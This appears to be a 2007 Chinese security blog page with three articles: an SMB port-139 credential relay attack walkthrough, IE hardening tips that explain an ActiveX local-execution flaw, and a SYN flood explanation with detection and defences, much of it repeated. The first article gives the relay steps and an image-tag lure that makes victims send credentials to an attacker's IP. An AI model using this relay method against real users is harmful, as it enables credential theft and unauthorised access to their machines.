系统泄露密码入侵攻击分析
[ 2007-03-25 02:55:05 | 作者: sun ]
WINDOWS访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击。
下面是SMB的密码认证方式。
WINDOWS的139口的访问过程,箭头表示数据方向:
1.客户端<--------------------建立TCP连接----------------->服务端
2.客户端-------客户端类型、支持的服务方式列表等---------->服务端
3.客户端<---------服务器认证方式、加密用的key等-----------服务端
认证方式就是用户级认证还是共享级认证和密码加密不,key是服务器随机生成的8个字节,WIN2000已经支持16个字节的 key。
4.客户端--------------用户名、加密后密码----------------->服务端
WIN9X、WINNT、WIN2000这有个漏洞,不经过提示等就把当前用户名,密码加密后发过去了,导致密码泄漏。这儿加密是DES的变形,lockedpass=chgdes(key,pass)。这儿的pass是作为DES变形的KEY,key是作为DES变形的待加密数据。
5.客户端<---------------认证成功否-----------------------服务端
WINDOWS客户端第4步有漏洞,显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以自由指定,因为这是服务方提供的,usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆,但已经可以用暴力法破解了,也已经有了这样的程序。其实我们有时并不一定要得到密码明文的,只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用,我们反过去访问看看,telnet、ftp等连接要密码明文我们得到的lockedpass不能提供,那么我们考虑用同样加密算法传密码密文的服务呢?比如就是NETBIOS共享服务。前面是服务端得到东西,那现在就是站在客户端了,再看前面那过程,显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是现在的服务端提供的。看看我们有 usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定,大家一看显然只要key=key2那么就需要的我们都有了是不是?所以我们要使得key=key2.
好我们再仔细看看连接过程,别人连接两步1、2:
1.客户端<--------------------建立TCP连接----------------->服务端
2.客户端-------客户端类型、支持的服务方式列表等---------->服务端
下面就该
3.客户端<---------服务器认证方式、加密用的key等-----------服务端
这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接NETBIOS服务回去。显然这而需要连接回去的11,22,33共3步(为了区分连接回去的步子用重号表示)才能得到key2,显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定IP的NETBIOS服务然后等这用户来访问,这可能有时间超时等处理,或者等到任意IP连接NETBIOS服务后马上连回去,反正怎么处理方便、满足需要就怎么处理。
下面显然就是设置 key=key2返回3,那就等4得到lockedpass了,第5步嘛就你自由处理了,要不返回密码错误,后面就是44、55……
总的来就是1,2,11,22,33,3,4,5,44,55……显然你就是以那机器访问你的用户的身份去访问他的NETBIOS服务了,能干什么那就看那用户的权限了。
注意有兴趣的可以把SAMB包的客户端程序修改加上一点服务的前几步就可以了。显然这主要利用的还是WINDOWS泄露当前用户名、加密密码漏洞。还有这需要别人来访问你的机器,这好办,邮件或者主页等里面来个
IMGsrc”="file://ip/filename" ...
就可以了。我实验了去掉机器139口服务(要不有139口要影响后面端口重定向),用端口重定向程序把来向139口定向回去,找另一个WINNT机器用\\ip访问那重定向139口的机器,结果是没有密码提示就看到WINNT机器本身了。其实这时重定向端口程序那台机器已经用WINNT机器的当前用户访问WINNT了,只是由于没有客户端的处理界面不能操作。(T002)
网络安全之IE浏览器防黑秘技大曝光
[ 2007-03-25 02:54:52 | 作者: sun ]
针对IE的恶意修改、攻击方法非常多,本文中介绍的十种反黑技巧,一定会对你有所帮助。
1.管理好Cookie
在IE6.0中,打开“工具”→“Internet选项”→“隐私”对话框,这里设定了“阻止所有Cookie”、“高”、“中高”、“中”、“低”、“接受所有Cookie”六个级别(默认为“中”),你只要拖动滑块就可以方便地进行设定,而点击下方的“编辑”按钮,在“网站地址”中输入特定的网址,就可以将其设定为允许或拒绝它们使用Cookie。
2.禁用或限制使用Java程序及ActiveX控件
在网页中经常使用Java、Java Applet、ActiveX编写的脚本,它们可能会获取你的用户标识、IP地址,乃至口令,甚至会在你的机器上安装某些程序或进行其他操作,因此应对Java、Java小程序脚本、ActiveX控件和插件的使用进行限制。打开“Internet选项”→“安全”→“自定义级别”,就可以设置“ActiveX控件和插件”、“Java”、“脚本”、“下载”、“用户验证”以及其它安全选项。对于一些不太安全的控件或插件以及下载操作,应该予以禁止、限制,至少要进行提示。
3.防止泄露自己的信息
缺省条件下,用户在第一次使用Web地址、表单、表单的用户名和密码后,同意保存密码,在下一次再进入同样的Web页及输入密码时,只需输入开头部分,后面的就会自动完成,给用户带来了方便,但同时也留下了安全隐患,不过我们可以通过调整“自动完成”功能的设置来解决。设置方法如下:依次点击“Internet选项”→“内容”→“自动完成”,打开“自动完成设置”对话框,选中要使用的“自动完成”复选项。
提醒:为发安全起见,防止泄露自己的一些信息,应该定期清除历史记录,方法是在“自动完成设置”对话框中点击“清除表单”和“清除密码”按钮。
4.清除已浏览过的网址
在“Internet选项”对话框中的“常规”标签下单击历史记录区域的“清除历史记录”按钮即可。若只想清除部分记录,单击IE工具栏上的“历史”按钮,在左栏的地址历史记录中,找到希望清除的地址或其下网页,单击鼠标右键,从弹出的快捷菜单中选取“删除”。
5.清除已访问过的网页
为了加快浏览速度,IE会自动把你浏览过的网页保存在缓存文件夹“C:/Windows/Temporary Internet Files”下。当你确认不再需要浏览过的网页时,在此选中所有网页,删除即可。或者在“Internet选项”的“常规”标签下单击“Internet临时文件”项目中的“删除文件”按钮,在打开的“删除文件”对话框中选中“删除所有脱机内容”,单击“确定”,这种方法会遗留少许Cookie在文件夹内,为此IE6.0在“删除文件”按钮旁边增加了一个“删除Cookie”的按钮,通过它可以很方便地删除遗留的。
6.永远不怕IE主页地址被修改
众所周知,修改IE默认主页地址是恶意网页常用的一招。IE被修改后,会自动连接到恶意网页的地址。大家常用的方法是修改注册表,其实,只要简单给IE加个参数,就再也不害翴E主页地址被修改了。下面是具体的方法和步骤。
首先,打开“我的电脑”,找到IE的安装目录,这里假设你的IE安装在C:/Program FilesInternet Explorer下。进入该文件夹,找到Iexplore.exe文件,对着它点击鼠标右键,在弹出的快捷菜单中选择“发送到→桌面快捷方式”,这样就在桌面上建立了一个Iexplore.exe文件的快捷方式。如果你够仔细的话,你会发现你建立的这个快捷方式名字为“Iexplore.exe”,而桌面上原来的IE快捷方式名字为“Internet Explorer”,两者不仅名字不相同,而且“内涵”也不尽相同。
继续我们的工作,用鼠标右键单击该快捷方式,选择“属性”,会弹出“Iexplore.exe 属性”对话框,选择其中的“快捷方式”标签,然后在“目标”框里填入:"C:/Program Files/Internet Explorer/IEXPLORE.EXE" -nohome,给Iexplore.exe加上参数“-nohome”,输入时请大家注意在参数“-nohome”前面有一个空格,不要忘了,输入完毕。点击“确定”退出即可。
这样即使主页被修改也没有关系,打开IE就是一片空白,就连about:blank也不显示。而且这样能够加快启动速度,一点IE窗口马上就出蹦来了。
对于IE在安装时自己建立的快捷方式,我们无法为它加上上述参数。如果不信可以试试,用鼠标右键点击桌面上原来IE自建的快捷方式,选“属性”,会发现“目标”栏、“起始位置”栏、“快捷键”栏和“运行方式”栏都是灰色不可选取状态。这就是它们之间最大的不同!也是本文的关键所在。
7.挖出IE本地安全配置选项
在IE中可以通过点击“工具→Internet选项→安全”来设定电脑安全等级,之后会出现。从图中可以看出,在安全性设定中我们只能设定Internet、本地Intranet、受信任的站点、受限制的站点。不过,惯于隐藏其部分功能的微软(真不知微软是怎么想的,老和我们玩“捉迷藏”游戏),在这里又留了一手:其实这里还有一个隐藏的选项——就是“我的电脑”的安全性设定,如果你想看到它,可以通过修改注册表的方法来达到目的。
下面是具体的方法:打开“开始”菜单中的“运行”,在弹出的“运行”对话框中输入Regedit.exe,打开注册表编辑器,点击前面的“+”号顺次展开到:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet SettingsZones,在右边窗口中找到DWORD值“Flags”,默认键值为十六进制的21(十进制33),双击“Flags”,在弹出的对话框中将它的键值改为“1”即可,关闭注册表编辑器。无需重新启动电脑,重新打开IE,再次点击“工具→Internet选项→安全”标签,你就会看到多了一个“我的电脑”,在这里你可以对IE的本地安全进行配置。
这个小技巧有什么用呢?把下面的代码保存为一个html文件,然后运行试试就知道了:
运行上面的html文件,会打开你的计算机中c:/winnt/system32文件夹下的calc.exe文件!而且IE没有任何提示!即使在IE的安全设置中禁用ActiveX控件上述代码也能工作!如果不是calc.exe文件而是其他恶意文件又会怎么样?如果是在你浏览的网页中含有类似上面的代码又会怎么样?真危险啊!
之所以会这样是由于IE存在两个可怕的漏洞:可本地执行任意命令,IE的ActiveX安全设置可被绕过。在上述代码中我们给IE指定了一个系统中并不存在的控件号("clsid:88888888-8888-8888-8888-888888888888),IE会试图从codebase指定的地址去下载并安装改控件。根据codebase于是IE找到了c:/winnt/system32/calc.exe,接着IE开始“下载”并安装该程序。由于calc.exe是EXE文件,这样就等于是在运行该文件,所以calc.exe就被运行了!
那么为什么IE在“下载安装控件”过程中不提示用户,也不应用IE安全设置中的限定进行检测呢?这就是IE的ActiveX安全设置可被绕过漏洞造成的!其主要原因是IE安全设置都是针对非本地的页面或交互的,对于本地的安全设置IE是最大信任的。如果你注意看IE的安全设置,都是对Internet和Intranet上WEB服务器而言的,根本就没有对本地文件的安全设置。概括说来就是IE对本地安全采用最大信任原则。
解决的办法就是我们在开始说的那个技巧:挖出挖出IE本地安全配置选项,即修改IE安全设置中有关“我的电脑”的设置,选定后,禁用ActiveX下载就万事大吉了。
8.在DOS下打开“Internet属性”窗口
有时在浏览了某些恶意网页后,会导致IE的“Internet属性”对话框无法打开,这时我们可以在DOS窗口下输入:RunDll32.exe shell32.dll,Control_RunDLL inetcpl.cpl命令,就可打开IE的“Internet属性”对话框。要注意“Control_RunDLL”的大小写以及它前面的逗号(,)不要忘记了。RunDll32.exe是Windows动态链接库(DLL)管理工具,可以用来在命令行下执行动态链接库中的某个函数(或者功能模块)。
RunDll32的使用方法如下:RunDll32.EXE ,要注意以下几点:
(1)Dllname(就是制定DLL动态链接库所在位置和文件名)直接不能有空格;
(2)Dllname和entrypoint两者之间只能以“,”(逗号)分隔,逗号之后不能有空格,如果这里出错的话,你不会得到任何提示;
(3)optional arguments动态链接库调用参数,这个参数对大小写是很敏感的,注意不要写错。
9.解除IE的分级审查口令
有些时候,我们的IE会被人修改为设有分级审查口令,一旦被设置了分级审查口令,即使重新安装IE也是没有用的。怎么办呢?难道要格式化硬盘?千万不要!这里我有一个好办法,帮您解决这个问题。
进入注册表,找到HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersionpolicies\Ratings,这里有一个名为“key”的主键,这就是您设置的分级审查口令,直接将它删除即可。重新启动之后,点击“工具”→“Internet选项”→“内容”→“分级审查”,您会发现分级审查口令已经被复位了。现在您只要输入新的分级审查口令即可。
如果你用的是Windows 9x则更简单了,到C:\Windows\system目录里找到rating.pol文件,要注意这是一个隐藏文件,直接将它删除就可以解决问题了。
10. 预防网页恶意代码
许多恶意网页为防止有人查看其代码内容,采取了各种各样的方法求防止我们查看其源代码。然而,他们的一切努力也许都是白费心机。因为用如下的方法可以轻易地查看其源代码。只要在IE地址栏中输入View-Source:URL即可。举个例子,你想查看搜狐网站hxxp://www.juntuan.net的源代码,只要在IE地址栏中输入:View-Source:hxxp://www.juntuan.net,稍等一下就会弹出一个窗口,里面就是你想看到的网页源代码。赶快仔细看看,里面是否有更改注册表或暗中下载文件的恶意代码,如果有那就别进该网页了,很简单吧?这样做不仅可以学到别人的网页制作技术,更可以事先预防恶意代码,一举两得!
黑客知识之SYN攻击原理以及防范技术
[ 2007-03-25 02:54:39 | 作者: sun ]
据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
一、TCP握手协议
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。
Backlog参数:表示未连接队列的最大容纳数目。
SYN-ACK 重传次数 服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。
半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存活时间。
二、SYN攻击原理
SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。从上图可看到,服务器接收到连接请求(syn=j),将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
三、SYN攻击工具
SYN攻击实现起来非常的简单,互联网上有大量现成的SYN攻击工具。
1、Windows系统下的SYN工具
以synkill.exe为例,运行工具,选择随机的源地址和源端囗,并填写目标机器地址和TCP端囗,激活运行,很快就会发现目标系统运行缓慢。如果攻击效果不明显,可能是目标机器并未开启所填写的TCP端囗或者防火墙拒绝访问该端囗,此时可选择允许访问的TCP端囗,通常,windows系统开放tcp139端囗,UNIX系统开放tcp7、21、23等端囗。
四、检测SYN攻击
检测SYN攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击。我们使用系统自带的netstat 工具来检测SYN攻击:
# netstat -n -p TCP tcp 0 0 10.11.11.11:23124.173.152.8:25882 SYN_RECV - tcp 0 0 10.11.11.11:23236.15.133.204:2577 SYN_RECV - tcp 0 0 10.11.11.11:23127.160.6.129:51748 SYN_RECV - tcp 0 0 10.11.11.11:23222.220.13.25:47393 SYN_RECV - tcp 0 0 10.11.11.11:23212.200.204.182:60427 SYN_RECV - tcp 0 0 10.11.11.11:23232.115.18.38:278 SYN_RECV - tcp 0 0 10.11.11.11:23239.116.95.96:5122SYN_RECV - tcp 0 0 10.11.11.11:23236.219.139.207:49162 SYN_RECV - ...
上面是在LINUX系统中看到的,很多连接处于SYN_RECV状态(在WINDOWS系统中是SYN_RECEIVED状态),源IP地址都是随机的,表明这是一种带有IP欺骗的SYN攻击。
我们也可以通过下面的命令直接查看在LINUX环境下某个端囗的未连接队列的条目数:
#netstat -n -p TCP grep SYN_RECV grep :22 wc -l 324
显示TCP端囗22的未连接数有324个,虽然还远达不到系统极限,但应该引起管理员的注意。
五、SYN攻击防范技术
关于SYN攻击防范技术,人们研究得比较早。归纳起来,主要有两大类,一类是通过防火墙、路由器等过滤网关防护,另一类是通过加固TCP/IP协议栈防范.但必须清楚的是,SYN攻击不能完全被阻止,我们所做的是尽可能的减轻SYN攻击的危害,除非将TCP协议重新设计。
1、过滤网关防护
这里,过滤网关主要指明防火墙,当然路由器也能成为过滤网关。防火墙部署在不同网络之间,防范外来非法攻击和防止保密信息外泄,它处于客户端和服务器之间,利用它来防护SYN攻击能起到很好的效果。过滤网关防护主要包括超时设置,SYN网关和SYN代理三种。
■网关超时设置:
防火墙设置SYN转发超时参数(状态检测的防火墙可在状态表里面设置),该参数远小于服务器的timeout时间。当客户端发送完SYN包,服务端发送确认包后(SYN+ACK),防火墙如果在计数器到期时还未收到客户端的确认包(ACK),则往服务器发送RST包,以使服务器从队列中删去该半连接。值得注意的是,网关超时参数设置不宜过小也不宜过大,超时参数设置过小会影响正常的通讯,设置太大,又会影响防范SYN攻击的效果,必须根据所处的网络应用环境来设置此参数。
■SYN网关:
SYN网关收到客户端的SYN包时,直接转发给服务器;SYN网关收到服务器的SYN/ACK包后,将该包转发给客户端,同时以客户端的名义给服务器发ACK确认包。此时服务器由半连接状态进入连接状态。当客户端确认包到达时,如果有数据则转发,否则丢弃。事实上,服务器除了维持半连接队列外,还要有一个连接队列,如果发生SYN攻击时,将使连接队列数目增加,但一般服务器所能承受的连接数量比半连接数量大得多,所以这种方法能有效地减轻对服务器的攻击。
■SYN代理:
当客户端SYN包到达过滤网关时,SYN代理并不转发SYN包,而是以服务器的名义主动回复SYN/ACK包给客户,如果收到客户的ACK包,表明这是正常的访问,此时防火墙向服务器发送ACK包并完成三次握手。SYN代理事实上代替了服务器去处理SYN攻击,此时要求过滤网关自身具有很强的防范SYN攻击能力。
2、加固tcp/ip协议栈
防范SYN攻击的另一项主要技术是调整tcp/ip协议栈,修改tcp协议实现。主要方法有SynAttackProtect保护机制、SYN cookies技术、增加最大半连接和缩短超时时间等。tcp/ip协议栈的调整可能会引起某些功能的受限,管理员应该在进行充分了解和测试的前提下进行此项工作。
■SynAttackProtect机制
为防范SYN攻击,win2000系统的tcp/ip协议栈内嵌了SynAttackProtect机制,Win2003系统也采用此机制。SynAttackProtect机制是通过关闭某些socket选项,增加额外的连接指示和减少超时时间,使系统能处理更多的SYN连接,以达到防范SYN攻击的目的。默认情况下,Win2000操作系统并不支持SynAttackProtect保护机制,需要在注册表以下位置增加SynAttackProtect键值:
HKLMSYSTEMCurrentControlSetServicesTcpipParameters
当SynAttackProtect值(如无特别说明,本文提到的注册表键值都为十六进制)为0或不设置时,系统不受SynAttackProtect保护。
当SynAttackProtect值为1时,系统通过减少重传次数和延迟未连接时路由缓冲项(route cache entry)防范SYN攻击。
当SynAttackProtect值为2时(Microsoft推荐使用此值),系统不仅使用backlog队列,还使用附加的半连接指示,以此来处理更多的SYN连接,使用此键值时,tcp/ip的TCPInitialRTT、window size和可滑动窗囗将被禁止。
我们应该知道,平时,系统是不启用SynAttackProtect机制的,仅在检测到SYN攻击时,才启用,并调整tcp/ip协议栈。那么系统是如何检测SYN攻击发生的呢?事实上,系统根据TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三个参数判断是否遭受SYN攻击。
TcpMaxHalfOpen 表示能同时处理的最大半连接数,如果超过此值,系统认为正处于SYN攻击中。Win2000 server默认值为100,Win2000 Advanced server为500。
TcpMaxHalfOpenRetried定义了保存在backlog队列且重传过的半连接数,如果超过此值,系统自动启动SynAttackProtect机制。Win2000 server默认值为80,Win2000 Advanced server为400。
TcpMaxPortsExhausted 是指系统拒绝的SYN请求包的数量,默认是5。
如果想调整以上参数的默认值,可以在注册表里修改(位置与SynAttackProtect相同)
■ SYN cookies技术
我们知道,TCP协议开辟了一个比较大的内存空间backlog队列来存储半连接条目,当SYN请求不断增加,并这个空间,致使系统丢弃SYN连接。为使半连接队列被塞满的情况下,服务器仍能处理新到的SYN请求,SYN cookies技术被设计出来。
SYN cookies应用于linux、FreeBSD等操作系统,当半连接队列满时,SYNcookies并不丢弃SYN请求,而是通过加密技术来标识半连接状态。
在TCP实现中,当收到客户端的SYN请求时,服务器需要回复SYN+ACK包给客户端,客户端也要发送确认包给服务器。通常,服务器的初始序列号由服务器按照一定的规律计算得到或采用随机数,但在SYN cookies中,服务器的初始序列号是通过对客户端IP地址、客户端端囗、服务器IP地址和服务器端囗以及其他一些安全数值等要素进行hash运算,加密得到的,称之为cookie。当服务器遭受SYN攻击使得backlog队列满时,服务器并不拒绝新的SYN请求,而是回复cookie(回复包的SYN序列号)给客户端, 如果收到客户端的ACK包,服务器将客户端的ACK序列号减去1得到cookie比较值,并将上述要素进行一次hash运算,看看是否等于此cookie。如果相等,直接完成三次握手(注意:此时并不用查看此连接是否属于backlog队列)。
在RedHat linux中,启用SYN cookies是通过在启动环境中设置以下命令来完成:
# echo 1 ?? /proc/sys/net/ipv4/tcp_syncookies
■ 增加最大半连接数
大量的SYN请求导致未连接队列被塞满,使正常的TCP连接无法顺利完成三次握手,通过增大未连接队列空间可以缓解这种压力。当然backlog队列需要占用大量的内存资源,不能被无限的扩大。
WIN2000:除了上面介绍的TcpMaxHalfOpen, TcpMaxHalfOpenRetried参数外,WIN2000操作系统可以通过设置动态backlog(dynamic backlog)来增大系统所能容纳的最大半连接数,配置动态backlog由AFD.SYS驱动完成,AFD.SYS是一种内核级的驱动,用于支持基于window socket的应用程序,比如ftp、telnet等。AFD.SYS在注册表的位置:
HKLMSystemCurrentControlSetServicesAFDParametersEnableDynamicBacklog值为1时,表示启用动态backlog,可以修改最大半连接数。
MinimumDynamicBacklog表示半连接队列为单个TCP端囗分配的最小空闲连接数,当该TCP端囗在backlog队列的空闲连接小于此临界值时,系统为此端囗自动启用扩展的空闲连接(DynamicBacklogGrowthDelta),Microsoft推荐该值为20。
MaximumDynamicBacklog是当前活动的半连接和空闲连接的和,当此和超过某个临界值时,系统拒绝SYN包,Microsoft推荐MaximumDynamicBacklog值不得超过2000。
DynamicBacklogGrowthDelta值是指扩展的空闲连接数,此连接数并不计算在MaximumDynamicBacklog内,当半连接队列为某个TCP端囗分配的空闲连接小于MinimumDynamicBacklog时,系统自动分配DynamicBacklogGrowthDelta所定义的空闲连接空间,以使该TCP端囗能处理更多的半连接。Microsoft推荐该值为10。
LINUX:Linux用变量tcp_max_syn_backlog定义backlog队列容纳的最大半连接数。在Redhat 7.3中,该变量的值默认为256,这个值是远远不够的,一次强度不大的SYN攻击就能使半连接队列占满。我们可以通过以下命令修改此变量的值:
# sysctl -w net.ipv4.tcp_max_syn_backlog=`2048`
Sun Solaris Sun Solaris用变量tcp_conn_req_max_q0来定义最大半连接数,在Sun Solaris 8中,该值默认为1024,可以通过add命令改变这个值:
# ndd -set /dev/tcp tcp_conn_req_max_q0 2048
HP-UX:HP-UX用变量tcp_syn_rcvd_max来定义最大半连接数,在HP-UX 11.00中,该值默认为500,可以通过ndd命令改变默认值:
#ndd -set /dev/tcp tcp_syn_rcvd_max 2048
■缩短超时时间
上文提到,通过增大backlog队列能防范SYN攻击;另外减少超时时间也使系统能处理更多的SYN请求。我们知道,timeout超时时间,也即半连接存活时间,是系统所有重传次数等待的超时时间总和,这个值越大,半连接数占用backlog队列的时间就越长,系统能处理的SYN请求就越少。为缩短超时时间,可以通过缩短重传超时时间(一般是第一次重传超时时间)和减少重传次数来实现。
Win2000第一次重传之前等待时间默认为3秒,为改变此默认值,可以通过修改网络接囗在注册表里的TcpInitialRtt注册值来完成。重传次数由TcpMaxConnectResponseRetransmissions 来定义,注册表的位置是:HKLMSYSTEMCurrentControlSetServicesTcpipParameters registry key。
当然我们也可以把重传次数设置为0次,这样服务器如果在3秒内还未收到ack确认包就自动从backlog队列中删除该连接条目。
LINUX:Redhat使用变量tcp_synack_retries定义重传次数,其默认值是5次,总超时时间需要3分钟。
Sun Solaris Solaris 默认的重传次数是3次,总超时时间为3分钟,可以通过ndd命令修改这些默认值。(t003)
据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
一、TCP握手协议
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。
Backlog参数:表示未连接队列的最大容纳数目。
SYN-ACK 重传次数 服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。
半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存活时间。
二、SYN攻击原理
SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。从上图可看到,服务器接收到连接请求(syn=j),将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
三、SYN攻击工具
SYN攻击实现起来非常的简单,互联网上有大量现成的SYN攻击工具。
1、Windows系统下的SYN工具
以synkill.exe为例,运行工具,选择随机的源地址和源端囗,并填写目标机器地址和TCP端囗,激活运行,很快就会发现目标系统运行缓慢。如果攻击效果不明显,可能是目标机器并未开启所填写的TCP端囗或者防火墙拒绝访问该端囗,此时可选择允许访问的TCP端囗,通常,windows系统开放tcp139端囗,UNIX系统开放tcp7、21、23等端囗。
四、检测SYN攻击
检测SYN攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击。我们使用系统自带的netstat 工具来检测SYN攻击:
# netstat -n -p TCP tcp 0 0 10.11.11.11:23124.173.152.8:25882 SYN_RECV - tcp 0 0 10.11.11.11:23236.15.133.204:2577 SYN_RECV - tcp 0 0 10.11.11.11:23127.160.6.129:51748 SYN_RECV - tcp 0 0 10.11.11.11:23222.220.13.25:47393 SYN_RECV - tcp 0 0 10.11.11.11:23212.200.204.182:60427 SYN_RECV - tcp 0 0 10.11.11.11:23232.115.18.38:278 SYN_RECV - tcp 0 0 10.11.11.11:23239.116.95.96:5122SYN_RECV - tcp 0 0 10.11.11.11:23236.219.139.207:49162 SYN_RECV - ...
上面是在LINUX系统中看到的,很多连接处于SYN_RECV状态(在WINDOWS系统中是SYN_RECEIVED状态),源IP地址都是随机的,表明这是一种带有IP欺骗的SYN攻击。
我们也可以通过下面的命令直接查看在LINUX环境下某个端囗的未连接队列的条目数:
#netstat -n -p TCP grep SYN_RECV grep :22 wc -l 324
显示TCP端囗22的未连接数有324个,虽然还远达不到系统极限,但应该引起管理员的注意。
五、SYN攻击防范技术
关于SYN攻击防范技术,人们研究得比较早。归纳起来,主要有两大类,一类是通过防火墙、路由器等过滤网关防护,另一类是通过加固TCP/IP协议栈防范.但必须清楚的是,SYN攻击不能完全被阻止,我们所做的是尽可能的减轻SYN攻击的危害,除非将TCP协议重新设计。
1、过滤网关防护
这里,过滤网关主要指明防火墙,当然路由器也能成为过滤网关。防火墙部署在不同网络之间,防范外来非法攻击和防止保密信息外泄,它处于客户端和服务器之间,利用它来防护SYN攻击能起到很好的效果。过滤网关防护主要包括超时设置,SYN网关和SYN代理三种。
■网关超时设置:
防火墙设置SYN转发超时参数(状态检测的防火墙可在状态表里面设置),该参数远小于服务器的timeout时间。当客户端发送完SYN包,服务端发送确认包后(SYN+ACK),防火墙如果在计数器到期时还未收到客户端的确认包(ACK),则往服务器发送RST包,以使服务器从队列中删去该半连接。值得注意的是,网关超时参数设置不宜过小也不宜过大,超时参数设置过小会影响正常的通讯,设置太大,又会影响防范SYN攻击的效果,必须根据所处的网络应用环境来设置此参数。
■SYN网关:
